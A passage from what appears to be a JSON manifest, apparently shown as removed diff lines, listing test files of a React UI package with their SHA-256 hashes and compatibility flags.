"packages/ui-react/tests/answer-delivery.test.ts":{"sha256":"1e1b5bf43c7a847ddac522239754ab5e19b8989c9f0be02ad26369f4942d6735","compatible":true}, - "packages/ui-react/tests/api-client-sync.test.ts":{"sha256":"91e31cc1e18070b249d86bd7fcc5d921bf77c2ed11d475bfeb61d23806d999cd","compatible":true}, - "packages/ui-react/tests/api-client.test.ts":{"sha256":"1396a4a44f07fcdbbbb4cbb0b90256dbff5aa090f08ce57ba552c8dc3be08303","compatible":true}, - "packages/ui-react/tests/api-instances.test.ts":{"sha256":"f65b78756df47f2ac4a2d932ccf0bdd5749677ad09374e2b31540f9fb2c2b92b","compatible":true}, - "packages/ui-react/tests/apify-presentation.test.ts":{"sha256":"ad11bd5e5f84075b2d00583ca3c506fb7240ca8e6fc2755cb8bfe1dcf52b7e60","compatible":true}, - "packages/ui-react/tests/approval-recovery-runtime.test.ts":{"sha256":"ba5d4368f5c52d29ab5434543ff095fd960bd377daaa638a77a5bf2e891ce356","compatible":true}, - "packages/ui-react/tests/artifact-recovery-runtime.test.ts":{"sha256":"84f3073272f5f3dba394e44552fdf207e2800adc6dd17b8f4930a6ad4271b353","compatible":true}, - "packages/ui-react/tests/artifact-recovery.test.ts":{"sha256":"891d24416442264996123a0a014dc3461348a4ce3ed34b0ae4f78e5a4feb58d3","compatible":true}, - "packages/ui-react/tests/asr-deepgram.test.ts":{"sha256":"e3658d8aa102732c9b959fca770be1fa98d3cec0cb1841cf68506102a15d1ae9","compatible":true}, - "packages/ui-react/tests/asr-gemini.test.ts":{"sha256":"ce5115fe80d7e02def48417f71c24154b05e5a3f0ff6b915295fc42b6e93bee9","compatible":true}, - "packages/ui-react/tests/association-signout-runtime.test.ts":{"sha256":"132b5fcc1b83188226e8db015c41a636fdf68637a93e8c25154f0224b22f36d4","compatible":true}, - "packages/ui-react/tests/attachment-queue.test.ts":{"sha256":"8c47072a37959bbb8e2e09d8406a990d18f98105198c0d016aeb1d6bf4481940","compatible":true}, - "packages/ui-react/tests/attachment-read-runtime.test.ts":{"sha256":"60dc222fd19388674ab3796908b704c76a8b0b1f0ae551f4e81c92a311d2e96a","compatible":true}, - "packages/ui-react/tests/attachment-reads.test.ts":{"sha256":"4983b77f587dc9d73609917cbb934661753a05a12c4ef2e16edef1200b2953cc","compatible":true}, - "packages/ui-react/tests/audio-fixtures.test.ts":{"sha256":"cda698defddc88ae817952f500ef48258369173f2c9ee673001cacd4d07a6e0a","compatible":true}, - "packages/ui-react/tests/auth-expiry-runtime.test.ts":{"sha256":"b143c8fbb88ef9978432d74e51ed0638c577c7e2661ccfafd7f68adb0c21051d","compatible":true}, - "packages/ui-react/tests/auth-lock.test.ts":{"sha256":"9630554c3a26a9b38c14caba83df71737477e1ee63ead7bdb3570e8538776055","compatible":true}, - "packages/ui-react/tests/block-card-cleanup-runtime.test.ts":{"sha256":"dbef2e01d97290327a2b97b9a869eb12853af06528f10c1965e7c72b656f260a","compatible":true}, - "packages/ui-react/tests/bound-renderers.test.ts":{"sha256":"b0c4139c14840e146eac93d86085bfd45a24b930720f85f1da14ca249d606141","compatible":true}, - "packages/ui-react/tests/browser-rejection-runtime.test.ts":{"sha256":"9c2449689227ed41e196e02dd5c6eab5efbfc5421f9c4f8f454d843b8cf0894c","compatible":true}, - "packages/ui-react/tests/chat-focus-runtime.test.ts":{"sha256":"5ac2cc22411e8e355e4b40e33e181856d1a5e134455b191a30bb3b8dbbb28310","compatible":true}, - "packages/ui-react/tests/chat-slices.test.ts":{"sha256":"2a697d7a5fb2ff5fff7fa3f3f0db9252e217ee3cf9d2ce8c577f56b1db44bfeb","compatible":true}, - "packages/ui-react/tests/chat-store-approval-recovery.test.ts":{"sha256":"86ac42c21b384f432a080e86e3994dbef8be0e971af9553ad5e5b6d169d1f852","compatible":true}, - "packages/ui-react/tests/chat-store-ask-dedup.test.ts":{"sha256":"29f16dc470f77be5f2c20eba27a11069f3ab3bd207ca472886dda77cf7b7b405","compatible":true}, - "packages/ui-react/tests/chat-store-ask-user.test.ts":{"sha256":"b716dd7e21f52f6bdde5ba5f294106bcca1f9adf68b03956c48b76f37d9c07bf","compatible":true}, - "packages/ui-react/tests/chat-store-blocks.test.ts":{"sha256":"a661605b44b98e60f1bc46615b18c03ed760c07cc4e464072fc2e7f54b808c65","compatible":true}, - "packages/ui-react/tests/chat-store-edge-cases.test.ts":{"sha256":"bd0d97250de48b1eeb40343eb4e95a91da29ae3e79263e95d93f981e47d83924","compatible":true}, - "packages/ui-react/tests/chat-store-history.test.ts":{"sha256":"41ca03045a9d16f8f1f607f80593c9aae011744a23c696b4510f5f2a26e20d7a","compatible":true}, - "packages/ui-react/tests/chat-store-typed.test.ts":{"sha256":"af8b6bdc608171540c5a38f29745de89b98c6d17509ca48baf0e87cbd276da3e","compatible":true}, - "packages/ui-react/tests/chat-store.test.ts":{"sha256":"39c6d8ef7ffc0ee82194dc486040f6e9e00d147edc9caa94d1c3cb5faab775e8","compatible":true}, - "packages/ui-react/tests/client-environment.test.ts":{"sha256":"28e3638e2950a9c83c22aea55e42adfd73185232f60374e2d1745fbf29a65cce","compatible":true}, - "packages/ui-react/tests/client-turn-clock.test.ts":{"sha256":"979697a8ca3ac9573a571554cdd607959399e44296e4fb1bc0fb7b8ecfd018f2","compatible":true}, - "packages/ui-react/tests/connection-continuity-runtime.test.ts":{"sha256":"122b3126e7537a77a0fb3e7d5480ec1b08fdc22f3bbed3d3b40c9fcc23e8df95","compatible":true}, - "packages/ui-react/tests/connection-refusals.test.ts":{"sha256":"872fba61dd08433e29ac51ccbdc89cd6cf40729ef78a1e22855c23db1eadde6d","compatible":true}, - "packages/ui-react/tests/connection-state.test.ts":{"sha256":"8ce249f4b6ddd87a1063f26cdfbbfba201b7d95b0acab49c0fa140db55ad302f","compatible":true}, - "packages/ui-react/tests/connection-store.test.ts":{"sha256":"1c9e6510c14f178abdc62d625327079ac590854ca254b6a87b21d71ed69dc385","compatible":true}, - "packages/ui-react/tests/content-renderer-bundling.test.ts":{"sha256":"136d0d781ace975123429a087e3adbfa3b9b8fa8820ea7c929a30684018b8903","compatible":true}, - "packages/ui-react/tests/content-renderer-share.test.ts":{"sha256":"9451cbc2956dc36edf076dd6d339c91ee188728c45be5ea3fa57e3c15d33ee0d","compatible":true}, - "packages/ui-react/tests/conversation-recovery.test.ts":{"sha256":"848ad87f3980dd6be7bf321dee9590f3818255dc763c789924dc969c7bc610bc","compatible":true}, - "packages/ui-react/tests/copy-button-css.test.ts":{"sha256":"20ffd791ce9d736eeb9849407c0e93a94e2228db8ffa7a7e1cb904258f1cc7f9","compatible":true}, - "packages/ui-react/tests/delta-batching.test.ts":{"sha256":"73e3d929b2f06bee63a37a4b8e392b7461892d77d0deaa9641e4ca2d90f7f161","compatible":true}, - "packages/ui-react/tests/destination-press.test.tsx":{"sha256":"bd947625427d089f5fa9134bdb8916d5e0a271d8ccb6ad713db0c9e39f48190d","compatible":true}, - "packages/ui-react/tests/dialogue-lifetime.test.ts":{"sha256":"d36b2af9a67f0811a0b6c697cda4cd2cde5c19e356137d8b6bdf4f3479085023","compatible":true}, - "packages/ui-react/tests/dictation-selection-runtime.test.ts":{"sha256":"94dce6230fd0202fdfeff0c80c261f1490488cf40b87fe4add8f54d3a52276de","compatible":true}, - "packages/ui-react/tests/diff.test.ts":{"sha256":"8ab9b07a16d6e9f8b7a3653d027054da38a42afb05091c76daf787c36461588b","compatible":true}, - "packages/ui-react/tests/digest-summary-actions.test.tsx":{"sha256":"3747cc8bf10fa62f20f9618594df4ac7fa8fad6efb89a31f853b78552f7f232d","compatible":true}, - "packages/ui-react/tests/discovery-bands.test.ts":{"sha256":"7e5c5d21956fcb915a26ddbe5eeb9bf3008da91deb78cda5a3b427cbfb2039a9","compatible":true}, - "packages/ui-react/tests/discovery-expansion.test.ts":{"sha256":"ea7d1c3e9a19fd84fb1f615f7cc0c2c12fe690a7071f5afd74a169e0b0f2bdec","compatible":true}, - "packages/ui-react/tests/discovery-notice.test.ts":{"sha256":"05df44f6322674654498cd6be20a100dc10e40b06829ea17133d44430c43d633","compatible":true}, - "packages/ui-react/tests/discovery-query-bounds.test.ts":{"sha256":"bdadb576da06219ff9245e31964a9608137aa07ec204d5d6d84805181e749fa5","compatible":true}, - "packages/ui-react/tests/draft-client.test.ts":{"sha256":"f7b4740cec5d43b017eb80aa0418a503a0635d5b0cb5fa882789a3518327634d","compatible":true}, - "packages/ui-react/tests/draft-files.test.ts":{"sha256":"b77d6fd7abe0f9aea1ae31e8eca1b68d93073da403b081ac87d5748553e70a3c","compatible":true}, - "packages/ui-react/tests/draft-indicator.test.ts":{"sha256":"50ac41e08a3441e8cacbe8ebbd2f406dc4bbf2a260840f1fb044a5eb300a113a","compatible":true}, - "packages/ui-react/tests/draft-runtime.test.ts":{"sha256":"8187b580bf539684e79c68ffe2622ac6a1883c6696b9722beb6ba41b73a0afa3","compatible":true}, - "packages/ui-react/tests/draft-snapshots.test.ts":{"sha256":"19c1c01fecb2db6b574c5a8ff6c2de01b3d150d47105d3ccac8daff49f9a0ac4","compatible":true}, - "packages/ui-react/tests/draft-store.test.ts":{"sha256":"10cb2b95217b1abb4df8272381153b7cde021adcc90f9ff83bbbf021639a52bc","compatible":true}, - "packages/ui-react/tests/draft-tracks.test.ts":{"sha256":"69ad6d00bc401437069172192c3f70ea30b0e4b7764be58513657fa3d6e48a4f","compatible":true}, - "packages/ui-react/tests/encoded-duration.test.ts":{"sha256":"4e7e76054871e616732d204897aee40c7a74b9b2eba672a29d0bfa748ac46dc6","compatible":true}, - "packages/ui-react/tests/ended-question-runtime.test.ts":{"sha256":"93fe48fd3da3c109ae181251afc230d608817d3fce30677cfe8499f2bef1febb","compatible":true}, - "packages/ui-react/tests/expired-scratch-links.test.tsx":{"sha256":"bf970d61f120ffacb7de1b8d018a60236b85d6a0bbcf45ab8bc5cfb01bb27f15","compatible":true}, - "packages/ui-react/tests/external-speech-conformance.test.ts":{"sha256":"843acbdf83161330f071ed366d0c4d41f09bc532b2585f0cd6522bce8e028691","compatible":true}, - "packages/ui-react/tests/external-speech-runtime.test.ts":{"sha256":"2109f865cc101d34cad9438a9c53df70f97adf287f39d95c03383ce01bfce401","compatible":true}, - "packages/ui-react/tests/file-link-detection.test.ts":{"sha256":"528f9dcf5a9fb727ce93ab5c20bae7d727ebcd02f83726624f5cc89d37220dba","compatible":true}, - "packages/ui-react/tests/file-request-ownership.test.ts":{"sha256":"98f4830d5e443ae907f10a52b0e6b1ccaa31e2185b9f8da02f0d8d0a3a516e8b","compatible":true}, - "packages/ui-react/tests/file-viewer-binary-fallback.test.tsx":{"sha256":"25faf86008bb43949708b11fb0e75a93f652592002d0597e9a4265ae07111fa2","compatible":true}, - "packages/ui-react/tests/file-viewer-binary.test.tsx":{"sha256":"539c07730b93809d6f6394d6441035c5eca417821595cc74db568401706c20ed","compatible":true}, - "packages/ui-react/tests/follow-up-queue.test.ts":{"sha256":"c877084de654d502c2cd9487e2bef351a01d4ea168076a7fcf7ab029536b7ad5","compatible":true}, - "packages/ui-react/tests/frontmatter.test.ts":{"sha256":"2af2f8a36f193be90d36a1b57360a76ed8387f1218eca9243fde6886ed23f5b3","compatible":true}, - "packages/ui-react/tests/github-details.test.ts":{"sha256":"d9db03511611169685509d8a20174bffbb41bb1812a56d36db8f664ff1972ebc","compatible":true}, - "packages/ui-react/tests/graph-core-unavailable.test.ts":{"sha256":"1c81915050c65951a7c8b8cb1738db62d6831869c35c11813942040c713464a1","compatible":true}, - "packages/ui-react/tests/graph-helpers.test.ts":{"sha256":"762d21bd291b0a5fb42bd25927e72abf3e410160471c88f176fe53d1b3b26e48","compatible":true}, - "packages/ui-react/tests/graph-layout.test.ts":{"sha256":"2d0ec3f2fa3bd4a2b5355400f9495cdb6cdafc107053d2ddc0bd68e13848d90a","compatible":true}, - "packages/ui-react/tests/graph-node-size-scale.test.ts":{"sha256":"b92bb8632695691a726faa1d4ba95691109671cf6a45381a6852ea45377672d3","compatible":true}, - "packages/ui-react/tests/graph-separation.test.ts":{"sha256":"c816a7f73eee7c365cd150bdf69323b8227ba89a92eaf35e1d417661dff7f450","compatible":true}, - "packages/ui-react/tests/graph-store.test.ts":{"sha256":"3fb67ed90b5b5c12b58fc7c39217ffe27a2ed6d3b2eb79c5bc3734202e022623","compatible":true}, - "packages/ui-react/tests/haiku-model-runtime.test.ts":{"sha256":"ea3add6a645321486671128354adf45ad36aabc95c9c3ffc12e137fe3e4e0957","compatible":true}, - "packages/ui-react/tests/handoff-entry.test.ts":{"sha256":"33d8aa6164f4f8a38f280e91d89e3ca16e7e9028d5183571ba02ae6631d3aa1e","compatible":true}, - "packages/ui-react/tests/handoff-lib.test.ts":{"sha256":"ac9c7cf6458435eba3e5f66ac6ff3ff024c711ed46d3a9516c812bee18bb54a2","compatible":true}, - "packages/ui-react/tests/html-preview-runtime.test.ts":{"sha256":"2f637e24d0107aa953f6a82e6c116cec12264520b7f14e066a7f1af0e23204b6","compatible":true}, - "packages/ui-react/tests/image-mask-renderer.test.ts":{"sha256":"dc289d9acbbe520fe45f740c68da6ccac12d3ffd00138a2fce0449c8654e0d67","compatible":true}, - "packages/ui-react/tests/image-optimize.test.ts":{"sha256":"59d385393d0842641a8deed6a69301d9c91fb067742738e3ca939263bed19d8d","compatible":true}, - "packages/ui-react/tests/image-source.test.ts":{"sha256":"6c6775d2dc1dc69cad6e5f5c435f2ccad82d117eea4938d6909f75353499c453","compatible":true}, - "packages/ui-react/tests/inbox-store.test.ts":{"sha256":"ffcb721667c58c9757b65820b0a7fd85cf4c52d0eb08409328cc2dca58496b72","compatible":true}, - "packages/ui-react/tests/lazy-chunk.test.ts":{"sha256":"01563ff0cef7ba9f492885511c620cdebc81b6fa1f2677350a22ef206ac92012","compatible":true}, - "packages/ui-react/tests/light-dark.test.ts":{"sha256":"ad1196ab3bad97717d0514e24a98b8c123492e40d498fb935f4eeb5b7da65af0","compatible":true}, - "packages/ui-react/tests/live-service-runtime.test.ts":{"sha256":"5c4a21a552b55771e92065e8093bb5ac0a36313af54c00c983282b08208e3553","compatible":true}, - "packages/ui-react/tests/liveness-clock.test.ts":{"sha256":"720a299875b4492d12af76ac70d778f379105e51436d6867013368ca569b978d","compatible":true}, - "packages/ui-react/tests/local-work-runtime.test.ts":{"sha256":"93d993fd06b2c24c1052665bec510acf1c69f00be6c1a39bde0eb835e50eeddf","compatible":true}, - "packages/ui-react/tests/location-card.test.ts":{"sha256":"2c0341a425ce32e659d4b9e29573a32fabdca53864d7e74c4e0228e3d3550dbe","compatible":true}, - "packages/ui-react/tests/map-block.test.ts":{"sha256":"a41bed6fd193e077416dcae10e5fdc62998d29e38e2e04d020013ad979f277ba","compatible":true}, - "packages/ui-react/tests/markdown-blocks.test.tsx":{"sha256":"598413769e27b7f07f132808e6a393eaecb12195bef6b74b9a643993412883f7","compatible":true}, - "packages/ui-react/tests/markdown-range.test.ts":{"sha256":"922680f5f038d0208beefb2593477b9969c5ec52408b6e0b513472f7f18a6e73","compatible":true}, - "packages/ui-react/tests/media-root.test.ts":{"sha256":"64f9cf59918d826fe4285519a034b0f4109093bc212ff40639768f61b49d2d78","compatible":true}, - "packages/ui-react/tests/mermaid-content-renderer.test.ts":{"sha256":"9738ca1d47d56175f1d837403d7793dec2eb6e1723c55705044d0c70e5a9a188","compatible":true}, - "packages/ui-react/tests/mermaid-export.test.ts":{"sha256":"3e24861d50a3935433de86e0ce50bc26bdaa1b238c5fda01c94f4fcb73e33ac8","compatible":true}, - "packages/ui-react/tests/mermaid-fences.test.ts":{"sha256":"98a3e015262de74012a1e86405ea933b8a44b8769254f4b44b8471e19e6d5a69","compatible":true}, - "packages/ui-react/tests/models-billing.test.ts":{"sha256":"e2a63b534d4fd7a1eb007801b1c3db94a9559af168b2f5741ad915a8a0ae988b","compatible":true}, - "packages/ui-react/tests/notification-zone.test.tsx":{"sha256":"6c0c5f4d299adb05378cb0f58fe15607809746e83f99499bf42173108c9450d2","compatible":true}, - "packages/ui-react/tests/overlay-sites.test.ts":{"sha256":"187dc10fab650df7fdf63b10d47ba8dad3aa22ec05fe6d1ffac490c963b75247","compatible":true}, - "packages/ui-react/tests/parallel-sessions-runtime.test.ts":{"sha256":"fe121bea97f41fce6be352bf6e7a2f300392ad5c072d39be15b8ff8bfaf85df3","compatible":true}, - "packages/ui-react/tests/passkey-login-runtime.test.ts":{"sha256":"8411f4cc25993625c4f42edc9c0d2d5f511df8c32bf5248d5018652583fd1099","compatible":true}, - "packages/ui-react/tests/passkeys.test.ts":{"sha256":"23fa7e2fd38f59df3813ac7285c1bb6abdfbd1ec1b12e5653a994d07e333844c","compatible":true}, - "packages/ui-react/tests/pdf-loader.test.ts":{"sha256":"9132eaabcb1aa8b0a0fe58d5f4cd64706b0b6bece13ca69c9b3d73e5f14b5474","compatible":true}, - "packages/ui-react/tests/pdf-preview.test.tsx":{"sha256":"e241720508e749fef7b756420ca7ce4952f0109ca7fc0af5d7743bb2b5351598","compatible":true}, - "packages/ui-react/tests/pdf-real-library.test.ts":{"sha256":"4fc988eb32ecf69fdc99343a864ab34463c019f82c0554a7c5f804ae7b234301","compatible":true}, - "packages/ui-react/tests/persona-settings-runtime.test.ts":{"sha256":"5b840c390c74a2e7cbf00a0dd2590ba0d5bc649aa534c8432396eae10b082aa8","compatible":true}, - "packages/ui-react/tests/prose-links.test.tsx":{"sha256":"49babc8f2947f6e2f619065104db0f6bccb2908104df60221096f78df683df8b","compatible":true}, - "packages/ui-react/tests/provider-store.test.ts":{"sha256":"1b66ab972fa6c9e6e288768a489a801aa2bb4347f589319d53bf9d9837fa0ad4","compatible":true}, - "packages/ui-react/tests/reconnect-reattach.test.ts":{"sha256":"b9f53b19471e81a2796fa61ce4562f3098651c4b8a9c8c8600364c981fa8396f","compatible":true}, - "packages/ui-react/tests/recording-transcription.test.ts":{"sha256":"95e42cb846f3202f7b8c368a67a564ceee4ed46ee7011ffa9f8c47ebdb397d77","compatible":true}, - "packages/ui-react/tests/registration-on-mount.test.tsx":{"sha256":"ab08091e79cc7cca48e85d04b3f624a4e662168819df5a01b4d35aa5d5b18734","compatible":true}, - "packages/ui-react/tests/render-entity-tags.test.ts":{"sha256":"07f3a94df76df43b7151182a996c8c8dec5d263af826e826f1f6b52c9740b85c","compatible":true}, - "packages/ui-react/tests/render-smoke-cleanup-runtime.test.ts":{"sha256":"b00c41256a7bdd57f5ff6a30b2b91b2939b7fcf87e9b150da71afb5c2c27b2eb","compatible":true}, - "packages/ui-react/tests/render/activity-report.test.tsx":{"sha256":"e5d82863eff5a71908aa2d3837eca652f42a336bb5d92c0fc505ccbacc47d82d","compatible":true}, - "packages/ui-react/tests/render/answer-delivery.test.tsx":{"sha256":"b193d9cb7509673637a6b393420264cd3d94dbfe033c2eb1efe4481c529bb033","compatible":true}, - "packages/ui-react/tests/render/answer-suggestions.test.tsx":{"sha256":"ce1c525db4b051efa9e66d6909b8a68793add7e6fe29e0d60a15a0422af5f3c5","compatible":true}, - "packages/ui-react/tests/render/approval-effect.test.tsx":{"sha256":"e1e0bdec6cf7802cb6b7c9c0d0e3ce652588662ea21f1ee2a5a60f9463b3d803","compatible":true}, - "packages/ui-react/tests/render/ask-user-form.test.tsx":{"sha256":"1f1b3e83ba9402f186065599621f94993b494f73a0cc1881bf983ad49d1795ed","compatible":true}, - "packages/ui-react/tests/render/ask-user-list.test.tsx":{"sha256":"b3d21adc4c6bcd646efbec38926405cf366234db51ce951ba1e05dd7f82ff8e8","compatible":true}, - "packages/ui-react/tests/render/ask-user-rank.test.tsx":{"sha256":"d9e5e799734634a6dfc6977ac09b3a2b4b4d75a599860735b0d9eaee37cc210b","compatible":true}, - "packages/ui-react/tests/render/ask-user.test.tsx":{"sha256":"045b5e213b312cf7d7299ecf9e0a6b092f05e6fa0c66f19e14d6d42f963f94bc","compatible":true}, - "packages/ui-react/tests/render/block-card.test.tsx":{"sha256":"05552bb946b3a71bdd7197859d0492227ec507ac47356deafbcdcb604234e896","compatible":true}, - "packages/ui-react/tests/render/classified-blocks.test.tsx":{"sha256":"200622c32473b6327c655309b9a98d071dfc6298e1475c9e3c37ac7714e49c38","compatible":true}, - "packages/ui-react/tests/render/composer.test.tsx":{"sha256":"f31a88c0561ad56e409e1aea982f2cc22dc3ecdc8a17bea945a338518b30eeab","compatible":true}, - "packages/ui-react/tests/render/copy-control.test.tsx":{"sha256":"1876b9efb06444f5256609f68274a5a13054523802d6ed183a5c7f0255406433","compatible":true}, - "packages/ui-react/tests/render/desktop-panes-sixth.test.tsx":{"sha256":"34d7ec4c651fad10210c405ce1dc31e8d00b64f7f88f66fcdf8f28543e407e70","compatible":true}, - "packages/ui-react/tests/render/dictation-provider-end.test.tsx":{"sha256":"85f7d3069707e26ddddf43fef242f2dc46cdfd9467981b8f196bd64b9313c22d","compatible":true}, - "packages/ui-react/tests/render/dictation-selection.test.tsx":{"sha256":"08e0080b838ce74dc11d1c7ec0a035dccde069b6086eef3cb6576815055a0d92","compatible":true}, - "packages/ui-react/tests/render/dictation-settings-save.test.tsx":{"sha256":"8dd6170e2f4ef1df8b4149c626617f3c846778cad3f8071279285bc3f0b3217b","compatible":true}, - "packages/ui-react/tests/render/dictation-teardown.test.tsx":{"sha256":"e29f8d994ae528401b6ea49fb3c2f1adf11e55443fca5213e83da6b0587fbbf0","compatible":true}, - "packages/ui-react/tests/render/durable-actions.test.tsx":{"sha256":"8639c378e0407a86e1f9e3f8008793b6d2e461e9f80161569f4eb21fa9448593","compatible":true}, - "packages/ui-react/tests/render/ended-question.test.tsx":{"sha256":"d87ac1085551ba4f35cf7ec2674a7e69b71dd36eec16e3068ca6bd883fd82552","compatible":true}, - "packages/ui-react/tests/render/error-card.test.tsx":{"sha256":"c00c13410a05c151881a8bb04e4648603829d84b7e955bda08c70009c4f52e53","compatible":true}, - "packages/ui-react/tests/render/github-tools.test.tsx":{"sha256":"1d929de7b789252e2b2e559c0c39d48c4b114ad8809257987fc444bf64624e95","compatible":true}, - "packages/ui-react/tests/render/handoff-entry.test.tsx":{"sha256":"31c65c2480c4dd2ba93b3d3895603296165e8e1016b2793eedcdfe4d75984b70","compatible":true}, - "packages/ui-react/tests/render/handoff.test.tsx":{"sha256":"d2548be76790180ddbe17d3d479c29ca57508ac48c3afdcc6e8e03430e46a4f4","compatible":true}, - "packages/ui-react/tests/render/image-markup.test.tsx":{"sha256":"05184746aa4b0dafd94393d3eb44806efb987a8396b963ece624c96ce19be431","compatible":true}, - "packages/ui-react/tests/render/message-source.test.tsx":{"sha256":"1c6e2ab237878456922bada0a94d99d511ea9cf048a854bbc0744703704e26b0","compatible":true}, - "packages/ui-react/tests/render/persona-settings.test.tsx":{"sha256":"d9e1591c7a24a6cbd7338e929d2e5ba95bdc0a5e0c46783268d5f9dd4443e71e","compatible":true}, - "packages/ui-react/tests/render/render-smoke.test.tsx":{"sha256":"4d3e3deec44c9c5ca9e26e810cb375b433ca94ceeb91d9f07ec4b5032502a33e","compatible":true}, - "packages/ui-react/tests/render/renderer-bundling.test.tsx":{"sha256":"e03ea76033fd95ff4a5f7b2cb48c45a65d830ff5f847b3acb23bccb13bf6c4ec","compatible":true}, - "packages/ui-react/tests/render/restored-approval.test.tsx":{"sha256":"5a1d71012429ae349e355a82bb040d33e9cb6f2a0f78399f006094a64fad0b54","compatible":true}, - "packages/ui-react/tests/render/slide-panel.test.tsx":{"sha256":"2dd324ce8d69532a37c64a71f23fb712a018760aba67ec28e5338e2d0c5d1d09","compatible":true}, - "packages/ui-react/tests/render/staged-tracks-unload.test.ts":{"sha256":"4070025b83cd6ba74499bb663449aafe7ff4d31b59641bdbf9c323e88d2b3ae4","compatible":true}, - "packages/ui-react/tests/render/stats-answer.test.tsx":{"sha256":"f939a3c1e159c5dc81c169b1eda1853194f76c3bc76e3b97cbd710c218e8cc9c","compatible":true}, - "packages/ui-react/tests/render/stats-session.test.tsx":{"sha256":"23cbbce779a46d7b788d77ba943b989c5bdee2c11200568e8ffab722d5708c13","compatible":true}, - "packages/ui-react/tests/render/streaming-markdown.test.tsx":{"sha256":"2a35aa46c23e6c7cf25045343afa40fd9fe192a13c9cf5048d45e9146ed014fa","compatible":true}, - "packages/ui-react/tests/render/turn-failure.test.tsx":{"sha256":"f88054e499231442d92fe87037e420e06945b46d9885fb68176a41e66ed5768a","compatible":true}, - "packages/ui-react/tests/render/turn-timing.test.tsx":{"sha256":"82f8129a0d94eb3b2bb071524651676bd6669960c5439bd0cd54411398b85298","compatible":true}, - "packages/ui-react/tests/render/update-holds.test.tsx":{"sha256":"6d902e9eaedd13084ef036935cd21407c505c7bb36cfc25b6484999976b3699c","compatible":true}, - "packages/ui-react/tests/render/worker-host-notice.test.tsx":{"sha256":"ae88a9313f1af2d6bd3b29022c1a68c848044d16f54e853a24496615806a532c","compatible":true}, - "packages/ui-react/tests/restored-approval-store.test.ts":{"sha256":"6c89055a11d5fd7a36d729376b2bf6952ecaa6181b7efd7c1d7e1828ac886145","compatible":true}, - "packages/ui-react/tests/retry-turn.test.ts":{"sha256":"63e5f6e4a6673d4a550643e2895a0f447be1273cea426afbb7910f73c78f0950","compatible":true}, - "packages/ui-react/tests/risk-hints.test.ts":{"sha256":"a91596eedd98b6b4e59cc3e4102c6c5d44e5e55de4d63e81e848e772490980cd","compatible":true}, - "packages/ui-react/tests/root-isolation.test.ts":{"sha256":"ec10aa4781b3dc73428de2d4255364ce4e8b567cef3e8fc31cb391fcad88f8d4","compatible":true}, - "packages/ui-react/tests/runtime-hook-phases.test.ts":{"sha256":"fdcfae0c4a51369cdde1ec41a3b6d7561ecd261e13e1ac58c6829db93ef37f02","compatible":true}, - "packages/ui-react/tests/safety-client.test.ts":{"sha256":"9d8c893b373313d5d847f467718c008a10e8d8f5f40b93484752a25caf796eb7","compatible":true}, - "packages/ui-react/tests/safety-evidence.test.ts":{"sha256":"8cbf62907672379803a1b05121bb98d278d035d4438a9d37f6d3d62d623757c3","compatible":true}, - "packages/ui-react/tests/safety-reviewer.test.ts":{"sha256":"5f8699f8642dadccf59df9ae71e65d1695b4a3134a2bc30a13ca9d7ca6cc9be2","compatible":true}, - "packages/ui-react/tests/scratch-link.test.ts":{"sha256":"f891ef2fe51b824a9bcfcab9bae67f2ab73a8719a06c6ea6a74e2b7e47f2cab7","compatible":true}, - "packages/ui-react/tests/scratch-links-render.test.tsx":{"sha256":"1fb087ea2cdd4388622bb60ab28895f4e68345e9bd0c2deb7bfd7ad7f82aaec6","compatible":true}, - "packages/ui-react/tests/scratch-links-runtime.test.ts":{"sha256":"06ae64c73ca458cc0fafc8e783537b908640496d9c174b8a7841c55237c8367e","compatible":true}, - "packages/ui-react/tests/search-results.test.ts":{"sha256":"bc3ec21359a7ecb091a33793eb9695cbfc05d966f04e44c616cd04cc1cf90b1c","compatible":true}, - "packages/ui-react/tests/search-snippet.test.ts":{"sha256":"e2420444faf841152f0fe7e7bdd7239afa81fe2da143347a66ae481940f4124b","compatible":true}, - "packages/ui-react/tests/session-demux.test.ts":{"sha256":"12da5a6e7d725ca1bf9fc210ee89fc19f06f6885b29673a311543eefda0b2e67","compatible":true}, - "packages/ui-react/tests/session-restoration.test.ts":{"sha256":"bcced0c4bfa8f8944c6048399ab4414189f805b607e963aa5b91a49f8f6967b3","compatible":true}, - "packages/ui-react/tests/share-document.test.tsx":{"sha256":"53dcb655ac094c67bb7fc56675888e3ce6f682b5d33e34d9df1e15a015b26b8b","compatible":true}, - "packages/ui-react/tests/share-draft-compatibility.test.ts":{"sha256":"6e5a5f500769f65ae10eb86fd7b05c1cd179d8815d57c38985f9e04ee9c142a9","compatible":true}, - "packages/ui-react/tests/share-draft-runtime.test.ts":{"sha256":"64882c41c24d8c0246186b15d9bcb077b588dd1f5b0f0f041044c90d701d339d","compatible":true}, - "packages/ui-react/tests/share-intake.test.ts":{"sha256":"a7341623a28e61b72cf7e76955e8ca9efebfbe4c96cef1e3dc66337c39cad031","compatible":true}, - "packages/ui-react/tests/shell-stores.test.tsx":{"sha256":"d04708bbd3cc0c34ae2adac70c7ceba1074547e763dfbb19dbbee46d5baefbe0","compatible":true}, - "packages/ui-react/tests/soft-keyboard.test.tsx":{"sha256":"e873c5e6b3d219205fb9855aff17185d9fe88470d1253b06de543132e78080aa","compatible":true}, - "packages/ui-react/tests/software.test.ts":{"sha256":"e528e03c66fbd1aaf81f5aa1e95b773ea745a7bd869beb2421c75e43cefce19e","compatible":true}, - "packages/ui-react/tests/span-bits.test.ts":{"sha256":"ff4b0153ce96ca5ead996d0c74936a72002a4698de59920a6ec39de52c26152f","compatible":true}, - "packages/ui-react/tests/speech-builtins-conformance.test.ts":{"sha256":"1c444a62c002b00390125cdc1cf0e41b31a6cbd0b136b12c5c1d21dcfce34ec7","compatible":true}, - "packages/ui-react/tests/ssr-import-runtime.test.ts":{"sha256":"0612fed089344e8b927509b79ce7dba36a161d96710174085e11b3f45a1bd72a","compatible":true}, - "packages/ui-react/tests/start-card-runtime.test.ts":{"sha256":"7bdb0565f779ec16ad1ebd8df163fcfb653668391f544f4d26c3be328f805f43","compatible":true}, - "packages/ui-react/tests/stats-answer.test.ts":{"sha256":"fef727454f3d7446baa9562d119fad4c3fb1e4842288f42b5b0b435e26e3653d","compatible":true}, - "packages/ui-react/tests/store-races.test.ts":{"sha256":"78b1767cb17443328c0afe281b8fc9dd6f18c461a7091f38d9841377279704c3","compatible":true}, - "packages/ui-react/tests/stream-link-hold.test.ts":{"sha256":"53fabad10859b4d6514f65fc1083cdd6801531c5ea4adc404243b0a6dc252852","compatible":true}, - 